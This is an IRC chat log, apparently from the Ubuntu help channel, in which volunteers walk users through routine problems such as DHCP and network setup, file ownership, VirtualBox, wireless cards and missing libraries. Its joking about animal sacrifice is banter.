[21:51] <ubuntu> i want to install ubuntu server then run virtualbox
[21:51] <usser> lakhra, and add this to the file http://pastebin.com/m7943f1d8
[21:51] <ubuntu> with it
[21:51] <qr> jrib: those are all numerical packages afaik, which is not what I'm looking for
[21:51] <lakhra> usser: working on it..
[21:52] <Bodsda> !info sage
[21:52] <SJr|Work> Question for my Ubuntu brothers, When Imen booten a Liven CDen, in myen b0x3n, myen ip()den will chargen upen itsen batteren withouten mounten. Howen doen I doen thaten regularlyen
[21:52] <ubuntu> so when ubuntu starts up in server what do i type?
[21:52] <r2q2> ubuntu: I think virtualbox needs an x11 thing.
[21:52] <lakhra> usser: oh, actually there's something like that already there, left over from before the upgrade i guess
[21:52] <lakhra> (a friend of mine made the setup so it worked...)
[21:52] <r2q2> http://www.sagemath.org/
[21:52] <jrib> qr: you need to be more specific than "mathematics" then.  Are you looking for symbolic manipulation?
[21:52] <usser> lakhra, what does it look like? pastebin?
[21:52] <Bodsda> SJr|Work, byen askinen then questioenen properlyen
[21:52] <qr> jrib: yes, which is why I said "mathematica like"
[21:53] <Jordan_U> ubuntu: What are you trying to do?
[21:53] <jrib> qr: never mind, I misread.  mathematica runs on linux, as does maple.  Try maxima and scipy
[21:53] <jrib> qr: s/scipy/sympy
[21:53] <lakhra> usser: http://pastebin.com/d23050c80
[21:53] <lakhra> usser: that's only the final part, there's more above
[21:54] <dbenhaim> hi
[21:54] <dbenhaim> i was wondering if someone could help me
[21:54] <SJr|Work> If I hook my iPod up to an Ubuntu LiveCD, right when the option comes up to install or start, or start in safemode. My iPod will charge off of USB, but won't be mounted so I Can use it still. How do I do that once Ubuntu has booted up. So in theory it's supplying power to the USB port, but not anything else.
[21:54] <ubuntu> i want to install virtualbox inside my ubuntu server
[21:54] <dbenhaim> i am trying to connect my guitar to my ubuntu 8.04 pc
[21:54] <dbenhaim> with a tube mp project series pre amp
[21:54] <mws[1]> is this the correct IRC channel for asking for Ubuntu wireless connectivity help?
[21:54] <dbenhaim> its lplugge din via usb
[21:54] <mws[1]> hi
[21:54] <dbenhaim> but i cant get it to recognize
[21:54] <qr> jrib: I'll try that, thanks.  I've used mathematica for linux before, but I can't find a version that works on my system (I'm getting libc version errors :\ )
[21:54] <ubuntu> try #wireless
[21:55] <mws[1]> thank you!
[21:55] <usser> lakhra, good, good, that looks fine. you saying this is a new installation right?
[21:55] <jrib> !mathematica | qr
[21:55] <dbenhaim> anyone here know about setting up music studio on ubuntu
[21:55] <dbenhaim> setting up a usb preamp
[21:55] <jrib> qr: bah, there's a page on help.ubuntu.com if you do a search
[21:55] <Terrasque> Anyone have any experience with virtualbox, especially with upgrading from 1.6 to 2.0?
[21:55] <qr> jrib: oh, excellent I'll go look for it
[21:55] <usser> lakhra, run this command sudo sysctl -w net.ipv4.ip_forward=1
[21:55] <dbenhaim> ?
[21:55] <jrib> qr: the maple page there I know works if you have that as I use it myself
[21:55] <dbenhaim> help
[21:56] <lakhra> usser: no, it's an upgrade from 7.10 (or something) to 8.04; and ipv4.ip_forward is already set to 1 ..
[21:56] <dbenhaim> ??????????
[21:56] <dbenhaim> anyone
[21:56] <psicobra>  any idaes how to set s different wall paper per virtual desktop
[21:56] <mercutio22> hello fellow ubuntuers, evolution can't retrieve my old email msgs. Please assist me. http://imagebin.org/25826
[21:56] <compengi> !ipod > SJr|Work
[21:56] <dbenhaim> i just need help setting up my usb preamp to ubuntu
[21:57] <usser> lakhra, i see. ok then try to do sudo ifup eth0
[21:57] <SJr|Work> compengi that had nothing to do with my question
[21:57] <compengi> SJr|Work, don't you want to manage your ipod?
[21:57] <SJr|Work> No
[21:57] <dbenhaim> ?
[21:57] <lakhra> usser: it says "interface eth0 already configured"
[21:58] <SJr|Work> I just want to charge it without it being mounted
[21:58] <SJr|Work> Which the Ubuntu Live CD does no problem
[21:58] <SJr|Work> But when Ubuntu actually boots I either have to mount it or not charge it.
[21:58] <SJr|Work> So right now I have a virtual machine setup, with the Ubuntu Live CD, that I just leave on to charge it
[21:58] <SJr|Work> But that's a waste
[21:58] <usser> lakhra, hm, its not showing up in ifconfig properly. try sudo ifdown eth0 && sudo ifup eth0
[21:59] <Whatsinaname> Question: any one ever get "can not start display service" with NX Client.  I have newest server version on ubuntu 8.4 and installed client on Vista home premium 64.
[21:59] <usser> lakhra, and what settings do you use on your windows machine?
[21:59] <waso_> hello
[21:59] <lakhra> usser: "automatically get IP & DNS from DHCP server" or something to that extent
[22:00] <usser> lakhra, u have to set it up manually
[22:00] <boobsbr> howdy, could someone help me understand the output of lspci? what does 01:05.0 0300: 1002:5974 mean? which is the bus, which is the device, and so on...
[22:00] <usser> lakhra, give it ip 192.168.1.2 netmask 255.255.255.0 gateway 192.168.1.1
[22:00] <lakhra> usser: hmm, but it worked fine with dhcp retrieval before ?
[22:01] <lakhra> strange.
[22:01] <usser> lakhra, it did? then your PC box was configured as dhcp server
[22:01] <usser> lakhra, now it must have been screwed up by upgrade
[22:01] <mws[1]> is there someone here who can help me troubleshoot my ubuntu wireless connection? It works on and off, and the only solution I've found to make it work after it stops is to use Windows for a few days and then go back to the Ubuntu boot...seriously...
[22:02] <usser> lakhra, try to give your xp machine those parameters
[22:02] <lakhra> oh
[22:02] <lakhra> i'm sorry
[22:02] <usser> lakhra, after that on xp open terminal and ping 192.168.1.1
[22:02] <brandan_> hi
[22:02] <lakhra> it works now; all that really was missing was the dhcp server after all
[22:02] <lakhra> after a manual install && start it actually works now O.o
[22:02] <brandan_> is there any programs like PowerISO for Ubuntu I could use to install a game i have saved as a Image file  (.bin)     ?
[22:02] <lakhra> usser: thanks for your help and patience!
[22:03] <usser> lakhra, i see, good for you :)
[22:03] <usser> lakhra, np
[22:03] <lakhra> usser: at least now i understand somewhat better how it works. :)
[22:03] <usser> lakhra, thats the beauty of linux you're forced to learn
[22:03] <bavardage> brandan_: a linux game?
[22:03] <brandan_> sadly my CD got ruined but I have the image file on my hard drive
[22:03] <brandan_> it's from widnows
[22:04] <bavardage> brandan_: you're unlikely to get a windows game to run
[22:04] <bavardage> unless with wine
[22:04] <fogobogo> hi bavardage
[22:04] <lakhra> usser: yeah ... sometimes it's really annoying though
[22:04] <Palace_Chan> what is the command to "become superuser" ?
[22:04] <bavardage> brandan_: http://www.debianadmin.com/mount-and-unmout-iso-images-without-burning-them.html
[22:04] <Palace_Chan> sudo by itself ?
[22:04] <usser> lakhra, so what did u do? just install dhcpd package?
[22:04] <fogobogo> Palace_Chan: su / sudo?
[22:04] <lakhra> usser: at least, my ubuntu is still running stable after several years of always just installing more stuff and upgrading to the next-current distro in between
[22:04] <acemo> Palace_Chan: sudo -i
[22:04] <qr> Palace_Chan: sudo su -
[22:04] <mercutio22> hello fellow ubuntuers, evolution can't retrieve my old email msgs. Please assist me. http://imagebin.org/25826
[22:05] <Terrasque> Palace_Chan: sudo -i for root shell
[22:05] <fogobogo> Palace_Chan: as you can clearly see something with su
[22:05] <Palace_Chan> lol
[22:05] <bavardage> brandan_: and I am not sure how to mount .bin/.cue file and i can give you one more work around for .bin/.cue files use bchunk.
[22:05] <Palace_Chan> yea..something with su
[22:05] <lakhra> usser: whereas the winXP in much less time gets lots and lots of problems (just to mention a really curious one: when i try to open a word/excel/... file, it always complains about missing some sort of installer, when i click on "cancel install" it starts word/excel/.. but without the file)
[22:05] <bavardage> binchunker converts a CD image in a “.bin / .cue” format (sometimes “.raw / .cue”) to a set of .iso and .cdr tracks. The bin/cue format is used by some popular non-Unix cd-writing software, but is not supported on most other CD burning programs. A lot of CD/VCD images distributed on the Internet are in BIN/CUE format
[22:05] <orgthingy> my friend just installed Ubuntu but doesnt know how to connect to 56k dial-up internet
[22:05] <orgthingy> how?
[22:05] <bavardage> orgthingy: probably not
[22:05] <orgthingy> ?
[22:05] <lakhra> usser: install dhcp-server, init.d-script start
[22:05] <bavardage> orgthingy: oh wait, srry, was thinking usb adsl
[22:05] <ErikWestrup> What command do I use to print a file(Physically on a printer)?
[22:05] <jrib> !dialup > orgthingy
[22:06] <Palace_Chan> im installing something and it says "become superuser and do: blablabla"
[22:06] <brandan_> bavardage: thank u for ur help, im gonna see what i can do
[22:06] <fogobogo> bavardage: youre the man!!!
[22:06] <bavardage> :D
[22:07] <bavardage> ErikWestrup: lpc
[22:07] <bavardage> ErikWestrup: oops
[22:07] <ErikWestrup> bavardage: not lpc?
[22:07] <bavardage> lpr I think
[22:08] <cheriplum> Thanks for all the help today everyone.
[22:08] <WastePotato> !dialup > orgthingy
[22:08] <WastePotato> Whoops
[22:08] <asteriskmonkey> any one use qemu in ubuntu?
[22:08] <WastePotato> I meant to send it to myself
[22:08] <bavardage> ErikWestrup: yup, lpr
[22:08] <bavardage>  lpr submits files for printing. Files named on the command line are sent to the named printer  (or  the  system  default
[22:08] <fogobogo> WastePotato: dont worry that happens
[22:08] <bavardage>        destination  if  no destination is specified).
[22:08] <orgthingy> wow, gnome-ppp seems best way
[22:08] <WastePotato> !dialup >WastePotato
[22:08] <ErikWestrup> ok thanks. going to try that
[22:08] <WastePotato> Meh. I dun use KDE
[22:08] <kemadruma> hi, i have probelm in using wifi internet connection in ubuntu, can somebody guide me?
[22:09] <WastePotato> Which card
[22:09] <kemadruma> intel wireless card
[22:09] <usser> ErikWestrup, cat filename | lpr
[22:09] <bavardage> any problems in specific, or just problems  in general
[22:09] <mws[1]> is there someone here who can help me troubleshoot my ubuntu wireless connection? It works on and off in Ubuntu, fine in Windows. I have an RT61 chipset, which I know is a problem...
[22:09] <phoenix116> kemadruma: lshw -C network
[22:10] <kemadruma> when i connect to access point ( which is adhoc by my friend laptop) , in ubuntu it shows 0%
[22:10] <WastePotato> Try: http://linuxtechie.wordpress.com/2008/04/24/making-intel-wireless-3945abg-work-better-on-ubuntu-hardy/
[22:10] <Kraven> omg gomg gom
[22:10] <brandan_> I tried to install this game i used to play on windows, I got it come up in Synaptic, it installed but won't open, can someone help me troubleshoot it so it launchs and I can play?
[22:11] <brandan_> www.rigsofrods.com
[22:11] <dhalsimm> hello I have a broken python module; shutil ,I guess and how I fix that, do I need to reinstall something?
[22:11] <nathanielneall> i have a question about virtual box
[22:11] <bavardage> nathanielneall: ...?
[22:11] <nathanielneall> yeah
[22:12] <bavardage> well spit it out :D
[22:12] <asteriskmonkey> i have all these wierd things under /dev , i cannot find my simple root usb dev there are showing up wired like usbdev2.2_ep82
[22:12] <kemadruma> i have installed ubuntu ( desktop edition) now in my 5gb space it has created a  copy of iso file in install folder, can i delete it?
[22:12] <nathanielneall> do i just go ahead and install the OS in there with my old windows disk?
[22:12] <dhalsimm> whick package is the core python package in ubuntu
[22:12] <bavardage> kemadruma: I would imagine so
[22:13] <phoenix116> nathanielneall: yes
[22:13] <nathanielneall> k
[22:13] <brandan_> I installed this game sucessfully from Synaptic but it don't open :-(
[22:13] <bavardage> brandan_: what do you get in console?
[22:13] <nathanielneall> does it mattter that i had an old installation on a secondary HDD that went bad?
[22:13] <dhalsimm> I think I am the only person in the world getting this problem
[22:14] <phoenix116> nathanielneall: old install of what?
[22:14] <dhalsimm> nothing on web
[22:14] <brandan_> bavardage, sorry wat u mean?
[22:14] <nathanielneall> the windows went bad (XP) not the HDD
[22:14] <bavardage> brandan_: when you run the game, what is put in console
[22:14] <kemadruma> while i connect to wireless netword ( i have static ip), but when i specify static ip instead of roaming it ask for SSID, Password Type, Password  ( i have none of these)
[22:14] <brandan_> bavardage: u mean the terminal ?
[22:14] <bavardage> indeed
[22:14] <nathanielneall> i recently installed ubuntu on my primary drive and am running on that
[22:14] <bavardage> console == terminal
[22:14] <fogobogo> dhalsimm: when you search for python . what comes up?
[22:14] <brandan_> nothing comes up
[22:14] <Palace_Chan> any ideas what a terminal command like "umask 022" might be up to ?
[22:15] <phoenix116> nathanielneall: doesnt matter, you have to create a virtual drive anyway
[22:15] <nathanielneall> ok
[22:15] <brandan_> bavardage, brandan@Linux-PC:~$ rigsofrodsbash: rigsofrods: command not found
[22:15] <fogobogo> Palace_Chan: it sets permission rights for filesystems that dont support permissions
[22:15] <bavardage> brandan_: heh
[22:15] <bavardage> right
[22:15] <nathanielneall> can i specify which Hard disk i make the virtual drive in?
[22:15] <bavardage> gimme a sec
[22:15] <fogobogo> Palace_Chan: like fat/ntfs
[22:15] <ph0rensi1> Anyone know which window manager comes with xfce?
[22:15] <brandan_> bavardage: it installed and went to my desktop n stuff
[22:15] <brandan_> bavardage: np
[22:16] <phoenix116> nathanielneall: virtual drive is a file
[22:16] <kemadruma> while i connect to wireless netword ( i have static ip), but when i specify static ip instead of roaming it ask for SSID, Password Type, Password  ( i have none of these and it dnt show option like "No Security")
[22:16] <Jordan_U> brandan_: If I remember correctly RoR is annoying and actually uses a capital 'R' as the command name
[22:16] <nathanielneall> im aware of that
[22:16] <nathanielneall> i want it in my larger hard disk
[22:16] <Palace_Chan> fogobogo, thanks
[22:16] <nathanielneall> i have a 500 and 80 gigs
[22:16] <balle_> hey, how can i make the icons on my toolbar and on the desktop any smaller, is that even possible?
[22:17] <phoenix116> nathanielneall:  k, you can do it
[22:17] <brandan_> Jordan_U, oh you mean type it in capital letter R in terminal ?
[22:17] <nathanielneall> is the virtual drive movable then?
[22:17] <bavardage> brandan_: http://wiki.rigsofrods.com/index.php?title=Installation_Guide#Ubuntu.2FDebian
[22:17] <bavardage> try that?
[22:17] <brandan_> okay
[22:17] <nathanielneall> vdi file
[22:17] <brandan_> gimme a min i look now
[22:17] <phoenix116> nathanielneall: no idea sry
[22:17] <nathanielneall> thanks
[22:17] <Jordan_U> brandan_: I think that's the first letter, then tab complete
[22:17] <Palace_Chan> i used "sudo su" to get into root...how do i get out ?
[22:17] <phoenix116> nathanielneall: just try ;)
[22:17] <fogobogo> Palace_Chan: logout or exit
[22:17] <dhalsimm> fogobogo: installed packs are: python, python2.5,  python2.5-dev, python2.5-minimal, python-dev, gnomes, qts lots of thinhs
[22:17] <fogobogo> Palace_Chan: either one
[22:17] <qr> Palace_Chan: ctrl+d at an empty prompt
[22:18] <fogobogo> dhalsimm: its python2.5 then
[22:18] <Flannel> Palace_Chan: exit
[22:18] <Palace_Chan> ah ok
[22:18] <dhalsimm> fogobogo: will I reinstall it, or remove then install
[22:18] <Shish_> hey, for some reason i cant seem to access any pages related to google.. is anyone else having this problem or is it a problem with my firefox?  help please
[22:19] <brandan_> http://apt.rigsofrods.com/ I got all of them, they we're installed through Synaptic
[22:19] <bavardage> Shish_: you can access all other websites?
[22:19] <eight> ohai
[22:19] <bavardage> eight: greetings
[22:19] <fogobogo> eight: ohayo
[22:19] <Shish_> bavardage: yea i can access all other sites.. just not google, blogger for google, gmail, etc
[22:19] <bavardage> brandan_: do what some guy above said
[22:20] <fogobogo> bavardage: logout?
[22:20] <brandan_> the captiol R in Rigs of Rods?
[22:20] <bavardage> open console, press R, then press tab twice
[22:20] <fogobogo> oh that one
[22:20] <MasterFruityLoop> Can you install Age Of Empires in Wine?
[22:20] <bavardage> Shish_: hmm
[22:20] <bavardage> that's a tad strange
[22:20] <nathanielneall> terminal wont let me put in a password??
[22:20] <Shish_> bavardage: weird right?
[22:20] <bavardage> Shish_: can you ping google?
[22:20] <Shish_> bavardage: sure, sorry to frustrate you.. HOW? lol
[22:20] <bavardage> as in open term, ping www.google.com
[22:20] <MasterFruityLoop> nathanielneall: It just doesn't show it. It's entering it.
[22:20] <fogobogo> nathanielneall: why you think so?
[22:20] <qr> nathanielneall: what do you mean (it generally shows nothing while you type in a password, not even stars)
[22:20] <fogobogo> nathanielneall: no asteriks?
[22:21] <nathanielneall> nothing
[22:21] <fogobogo> nathanielneall: thats normal
[22:21] <nathanielneall> im trying to copy and past though and it tells me to try agian
[22:21] <balle_> hey, how can i make the icons on my toolbar and on the desktop any smaller, is that even possible?
[22:21] <bavardage> balle_: it is possible yes
[22:21] <bavardage> use some brain
[22:21] <fogobogo> nathanielneall: then you entered the worng password
[22:21] <balle_> bavardage: do you know how?
[22:21] <bavardage> you my want some 'settings'
[22:21] <bavardage> right click on the banel?
[22:21] <bavardage> s/banel/panel/
[22:21] <nathanielneall> ..hold on a bit
[22:22] <qr> nathanielneall: copy and paste like ctrl+c ctrl+v or copy and paste like select middle click? (the first one won't work into a terminal)
[22:22] <brandan_> can anyone make sense of this? http://pastebin.com/m6c9daf92
[22:22] <balle_> bavardage: ahh, but i do not want the panel to be any smaller.. only icons, and what about the icons on the dekstop
[22:22] <Shish_> bavardage: says unknown host www.google.com
[22:23] <nathanielneall> paste in terminal is shift + ctrl + V
[22:23] <bavardage> Shish_: and the same with yahoo?
[22:23] <fogobogo> Shish_: seems we have a little dns trouble
[22:23] <Shish_> bavardage: one sec
[22:23] <nickrud> brandan_, at first glance, I see: Run the RoRconfig program first
[22:23] <bavardage> fogobogo: seems rather strange
[22:23] <nathanielneall> do i want the one with "apt-key add -"?
[22:23] <Shish_> bavardage: no it gives results...
[22:23] <bavardage> balle_: iirc you can resize them
[22:23] <bavardage> right click on desktop icons
[22:23] <brandan_> bash: RoRconfig: command not found
[22:23] <brandan_> brandan@Linux-PC:~$
[22:24] <bavardage> choose 'stretch' or something
[22:24] <Shish_> fogobogo: dns trouble...  what can i do??
[22:24] <brandan_> brandan@Linux-PC:~$ RoRConfig
[22:24] <brandan_> /usr/share/games/rigsofrods/RoRConfig.bin: error while loading shared libraries: libtiff.so.3: cannot open shared object file: No such file or directory
[22:24] <brandan_> brandan@Linux-PC:~$
[22:24] <bavardage> Shish_: sacrifice a goat
[22:24] <fogobogo> brandan_: install libtiff
[22:24] <Shish_> bavardage: hmmmm.... goats arent very abundant here... lol
[22:24] <fogobogo> Shish_: use a bunny instead
[22:24] <Shish_> fogobogo: lol
[22:24] <balle_> bavardage: yes but then i have to do it with every single icon on the desktop, quite unsophisticated
[22:24] <Shish_> so im screwed?
[22:25] <nickrud> brandan_, libtiff4 that is
[22:25] <fogobogo> Shish_: maybe. reset you network. reboot something like that
[22:25] <nathanielneall> it just keeps saying sorry try agian
[22:25] <bavardage> balle_: go look around
[22:25] <brandan_> nickrud: it is installed
[22:25] <bavardage> use some intuition
[22:25] <brandan_> nickrud: in my Synaptic
[22:25] <Shish_> fogobogo: reset the comp u mean right? or the router where the net comes thru?
[22:25] <fogobogo> Shish_: and sacirfice something
[22:25] <bavardage> go look in settings and stuff
[22:25] <Shish_> fogobogo: whats with the sacrificin?! lol
[22:25] <fogobogo> Shish_: best both
[22:26] <Shish_> fogobogo: ait cool, will do , thanks.. and i see a squirrel outside...
[22:26] <phoenix116> nathanielneall: you try to paste password?
[22:26] <Shish_> bavardage: thanks for ur time and help
[22:26] <Shish_> fogobogo: thanks for ur time and help
[22:26] <fogobogo> Shish_: its necesarry. linux isnt for the whole family
[22:26] <fogobogo> Shish_: dont forget. sacrifice
[22:26] <nickrud> brandan_, try creating a link in /usr/lib from libtiff.so.4 to libtiff.so.3 , might work. Otherwise the programmer needs a new build for ubuntu
[22:27] <Shish_> fogobogo: i wont ever forget that.. im gonna explain this to my wife now, peace out!
[22:27] <fogobogo> Shish_: lairght
[22:27] <fogobogo> alright
[22:28] <nathanielneall> phoenix: i did
[22:29] <fogobogo> nathanielneall: why why !! no dont do it!!!
[22:29] <fogobogo> nathanielneall: rsy . wrong nick
[22:29] <fogobogo> *sorry
[22:30] <Znow> Hi! How do I install my Creative Webcam Vista driver?
[22:30] <Znow> got it from opensource.creative.net
[22:30] <cup0beans> does anyone know a fast way to convert videos for ipod in Ubuntu 8.04?
[22:30] <Znow> Anyone that can help me?
[22:31] <bavardage> cup0beans: http://flv.brothersoft.com/news_how-to-download-and-convert-youtube-video-to-mpg-avi-in-ubuntu.html maybe could help
[22:31] <bavardage> or just try googling it?
[22:31] <bavardage> maybe?
[22:31] <Shish_> fogobogo: worked, thanks a lot, sacrificed my wife's bunny, i think thats what did it!  thanks again!
[22:32] <Znow> Hi! How do I install my Creative Webcam Vista driver? got it from opensource.creative.net in a .tar.gz2 package
[22:32] <recon69> ﻿Znow: did you look at the README file or the INSTALL file?
[22:32] <fogobogo> Shish_: you see. no problem. guess your wife will stop to cry about the bunny in a week or two
[22:32] <Znow> well
[22:32] <Znow> it doesnt contain any install file
[22:32] <Znow> but I can look for a readme
[22:32] <Znow> found the readme :D
[22:32] <Znow> thanks!
[22:33] <fogobogo> Znow: no problem
[22:33] <Znow> btw, how do I install office and so on via wine?
[22:33] <danbhfive> !webcam
[22:33] <seracht> Greetings. What is the easiest way to uninstall ubuntu?
[22:33] <Znow> <3
[22:33] <ph0rensi1> Znow: Open Office.org?
[22:33] <seracht> I have windows + ubuntu installed at the moment, and don't want to disturb my windows installation
[22:33] <danbhfive> seracht: is it installed on a separate partition, or are you using wubi?
[22:33] <seracht> danbhfive I installed it using the default installations, so I think there are 2 different partitions
[22:33] <Smirnoff> how do i partition in ubuntu?
[22:33] <seracht> 1 for the swap, 1 for the actual OS
[22:34] <Red13_> hey guyz I want to get synaptic and other system programs to use current theme how do I do that is there a website to explain?
[22:34] <danbhfive> seracht: well, I think you can just delete the partitions, and use the windows boot disk to fixmbr
[22:35] <seracht> I don't have a windows boot disk with me at the moment, it is in NA :(
 wont use openoffice when I got the full package? :)
[22:35] <seracht> anyone else know for sure how I can uninstall ubuntu
[22:35] <falstaff> hello, does anybody knows how i can wake up an intel graphic card? It went to sleep, but Ctrl+Alt+F1 or keyboard inputs doesnt wake it up again!
[22:35] <danbhfive> seracht: can you resize partitions?
[22:35] <bavardage> falstaff: ctrl+alt+backspace?
[22:35] <bavardage> will kill your Xserver
[22:36] <falstaff> i did /etc/init.d/gdm restart over ssh, should do the same, true?
[22:36] <seracht> danbhfive actually, never mind
[22:36] <seracht> I am going to stick to ubuntu. For now :P
[22:37] <seracht> thanks anyways mate.
[22:37] <seracht> cheers.
[22:37] <danbhfive> hehe, ok, cya
[22:37] <seracht> anyone here have any opinions on kde 4.1
[22:37] <eight> seracht: what changed your mind?
[22:37] <seracht> would you recommend it over GNOME
[22:37] <Red13_> I found a website that gives step by step but I have lost it any help would be great
[22:38] <seracht> eight I actually was going to stick to ubuntu all the time, just wanted to reinstall and start with a clean slate. But I figured, whatever. I don't have much on it at the moment, and I can delete anything I want to
[22:38] <Znow> can anyone guide me on installing the opensource version of creative webcam vista driver please?
[22:38] <ph0rensi1> Znow: Open office is a full package.. You'd rather use office... fair enough
[22:38] <fogobogo> Znow: cheese?
[22:38] <Znow> :D
[22:38] <Znow> Cant figure it out
[22:39] <Znow> how to do?
[22:39] <kaRnA> sudo apt-get install linux-backports-modules-hardy-generic says no package found, i have installed ubunto desktop edition
[22:39] <danbhfive> seracht: oh, to reinstall, there is no need to uninstall first.   That basically happens anyway (the uninstall)
[22:39] <danbhfive> Znow: have you tried easycam?
[22:39] <seracht> danbhfive but does it kill my windows installation?
[22:40] <Palace_Chan> i am in a direcotry with three root-owned subdirectories and i would like to chmod them to my username and everything they contain
[22:40] <Znow> danbhfive, gotta use it with amsn
[22:40] <Palace_Chan> what command would do that ?
[22:40] <Palace_Chan> some sudo chmod -R blabla ?
[22:40] <danbhfive> seracht: its the same process as installing.  So, the same way you installed the first time, same stuff will happen
[22:40] <seracht> Znow, have you tried emesene
[22:40] <kaRnA> can anyone help me with http://linuxtechie.wordpress.com/2008/04/24/making-intel-wireless-3945abg-work-better-on-ubuntu-hardy/
[22:41] <seracht> I found it to be one of the best msn clients for unix
[22:41] <kaRnA> sudo apt-get install linux-backports-modules-hardy-generic says no package found, i have installed ubunto desktop edition
[22:41] <danbhfive> Znow: try easycam
[22:41] <Znow> emesene? what is that?
[22:41] <Znow> easycam?
[22:41] <seracht> msn client
[22:41] <Dmole> hi, i'm looking for smbfs - cifs help ... thing are not working after an upgrade
[22:41] <Znow> well, stille gotta use it with amsn
[22:41] <Znow> ah ok
[22:41] <Znow> ill tryt htat
[22:41] <FloodBot3> Znow: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[22:41] <danbhfive> Znow: it installs drivers, its not a client
[22:41] <Znow> ahh great, thanks
[22:41] <Dmole> dir_mode is ignored ....   google is of no help
[22:42] <emilien> need help wrong keyboared layout thanks
[22:42] <Palace_Chan> how do i use chmod to retrieve root ownership back to user ownership ?
[22:43] <Impakt> Hello i am having some trouble with my ubuntu when i start my comp i get directly in to this command window and i have no idea how i can get out of it.....soo anyone?
[22:43] <Palace_Chan> chmod username.username ?
[22:43] <Dmole> Palace_Chan: sudo chown user file
[22:43] <danbhfive> emilien: whats the problem?
[22:43] <Ziggyzxxyl> I am having trouble trying to copy files from my Ubuntu PC to a Windows PC... I can't see the shares windows somputer from the Ubuntu PC and the shares on the Ubuntu PC are visible but inaccessible.
[22:43] <recon69> any networking gurus, been packet sniffing  my net work and getting lots of strange packets like "8982	947.255336	Belkin_c5:42:f4	BelkinIn_24:43:1b	0x05f8	Ethernet II " have no idea what there are and think that they should not be on my network
[22:44] <Znow> didnt help that much, cant activate camera
[22:44] <danbhfive> Impakt: are there errors?
[22:44] <emilien> danbhfive,  http://ubuntuforums.org/showthread.php?t=911385  THIS
[22:44] <danbhfive> Znow: try ekiga, see if it works there
[22:44] <Impakt> danbhfive: no errors just i can write help and commands but i have no idea how to get back to real ubuntu
[22:44] <Palace_Chan> Dmole, so say the username is palace, and i want this to be reflected on all files contained within the subdirectories i'd say "sudo chown -R palace *" ?
[22:44] <eirik_> how do i replace the Ubuntu start-up screen and replace it with text output (as with tty1)
[22:45] <Znow> it has to be over msn messenger
[22:45] <jrib> eirik_: edit your /boot/grub/menu.lst and remove the "quiet" and "splash" options
[22:45] <danbhfive> Impakt: did you do a regular install of Ubuntu?  and, do you want to check that install?
[22:45] <eirik_> or maybe is it a way to specify tty1 as the bootup screen, and then have it switch to GDM after it loads?
[22:45] <eirik_> jrib: thanks! :)
[22:45] <Dmole> Palace_Chan: yep
[22:45] <Palace_Chan> Dmole, thanks
[22:46] <Ziggyzxxyl> anyone got some clues at to what the problem is? I'm sure I had this working once before months ago... I don't know why it does not work now.
[22:46] <Dmole> eirik_: look into run levels
[22:47] <Impakt> yeah i did a regular install i have been on the desktop many times but then sudenly this happens... og when i get to this command window it says "Busybox v1.1.3 (Debian 1:1.1.3-5ubuntu12) Built-in shell (ash) Enter help for a list of built-in commands
[22:47] <Palace_Chan> What does the root mean there ? drwxr-xr-x 2 palace root
[22:48] <emilien> need help , keyboard has num pad when should not
[22:48] <Ziggyzxxyl> I am having trouble trying to copy files from my Ubuntu PC to a Windows PC... I can't see the shares on the windows computer from the Ubuntu PC and the shares on the Ubuntu PC are visible from the windows PC but inaccessible.
[22:48] <Dmole> looking for smbfs - cifs help ... things are not working after an upgrade... dir_mode is ignored
[22:48] <ghaleb> hello, I want to export sth permanently , how can I do that ?
[22:48] <meoblast001> whats a good safe speed to use when burning ubuntu?
[22:49] <danbhfive> !shortcuts | emilien you could try this, but I have no idea
[22:49] <ghaleb> meoblast001, I use the default
[22:49] <r2q2> meoblast001: Safe usually means slower?
[22:49] <meoblast001> yes
[22:49] <meoblast001> only a little slower though
[22:49] <r2q2> meoblast001: I guess you could burn it one less than your fastest.
[22:49] <Impakt> Danbhfive: yeah i did a regular install i have been on the desktop many times but then sudenly this happens... og when i get to this command window it says "Busybox v1.1.3 (Debian 1:1.1.3-5ubuntu12) Built-in shell (ash) Enter help for a list of built-in commands
[22:49] <Dmole> Palace_Chan: (owner)(group)(all)   [eXicute:read:write]
[22:49] <r2q2> meoblast001: Although I haven't had problems burning it at the fastest speed.
[22:49] <meoblast001> r2q2: i dont know my fastest
[22:49] <mercutio22> hello fellow ubuntuers, evolution can't retrieve my old email msgs. Please assist me. http://imagebin.org/25826
[22:50] <r2q2> meoblast001: Uh well then burn it at 6x then.
[22:50] <danbhfive> Impakt: maybe you should just backup, and do a clean install
[22:50] <Killeroid> hi, i am going to wipe my hd and reinstall ubuntu in a few minutes. I am considering switching to reiserfs. is that a good idea? I am using a laptop btw but the laptop is almost always plugged in.
[22:50] <Ziggyzxxyl> I am having trouble trying to copy files from my Ubuntu PC to a Windows PC... I can't see the shares on the windows computer from the Ubuntu PC and the shares on the Ubuntu PC are visible from the windows PC but inaccessible.
[22:50] <meoblast001> r2q2: 24times?
[22:50] <DracoSilverscar> 52 is usually fastest
[22:51] <kaRnA> i have just installed ubuntu desktop edition, i want to connect to wireless internet which is shared as adhac network, i have intel wireless card,
[22:51] <kaRnA> In ubuntu, it tries to connect saying attempting to connect then it doent connect, but in windows i m able to use same wireless network.
[22:51] <mercutio22> Killeroid: why do you want to switch file systems?
[22:51] <eirik_> got a X11 issue. editing my /etc/X11/xorg.conf has no impact on my X11 settings - even if i delete it. so it seems X11 is getting its settings from elsewhere. ive searched / for other xorg.conf files, but cant find any so im at a loss. any ideas?
[22:51] <earthmeLon> Does freenode not support SSL?
[22:52] <Killeroid> mercutio22: i heard residerfs is faster and less prone to corruption
[22:52] <jrib> eirik_: are you in that failsafe X mode?
[22:53] <eirik_> jrib: not that i know of. everything is working perfectly. i didnt make any changes to default ubuntu settings. altho im using a custom kernel
[22:53] <Red13_> "sudo ln" is the right command to link folders?
[22:53] <danbhfive> !reiserfs > Killeroid
[22:53] <Palace_Chan> drwxr-xr-x 2 palace root 4096 2008-09-05 17:17 bin
[22:53] <Ziggyzxxyl> forget it.. it just started working by itself.. apparently pathetic Windows PC just wasn't "ready" to share it's folders.... Windows sharing is f'ed up.
[22:53] <keyro90> hi everyone!
[22:53] <Palace_Chan> so that direcotry is owned by palace and belongs to group root no ?
[22:53] <jrib> eirik_: X will do a lot of stuff automatically now unless it is overridden in xorg.conf
[22:53] <Palace_Chan> how can i change it to read palace palace rather than palace root
[22:54] <keyro90> W Kubuntu!!
[22:54] <jrib> Palace_Chan: chgrp
[22:54] <Palace_Chan> chgrp ?
